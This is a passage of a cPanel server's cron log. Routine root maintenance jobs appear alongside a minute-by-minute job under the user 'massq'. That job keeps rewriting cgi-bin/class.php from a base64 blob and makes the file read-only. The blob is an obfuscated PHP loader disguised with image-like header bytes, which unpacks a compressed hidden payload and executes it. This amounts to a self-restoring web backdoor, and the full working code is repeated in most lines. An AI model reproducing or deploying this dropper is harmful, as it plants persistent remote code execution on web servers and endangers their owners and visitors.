fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:42:01 server CROND[18705]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 05:43:01 server CROND[18763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:44:01 server CROND[18825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:45:01 server CROND[18985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:45:01 server CROND[18986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:45:01 server CROND[18987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:46:01 server CROND[19132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:47:01 server CROND[19198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:48:01 server CROND[19252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:49:01 server CROND[19319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:50:01 server CROND[19375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:50:01 server CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:50:01 server CROND[19377]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 05:50:01 server CROND[19379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 05:50:01 server CROND[19380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:51:01 server CROND[19599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:52:01 server CROND[19663]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Apr  6 05:52:01 server CROND[19664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:53:01 server CROND[19756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:54:01 server CROND[19836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:55:02 server CROND[19926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 05:55:02 server CROND[19927]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 05:55:02 server CROND[19928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
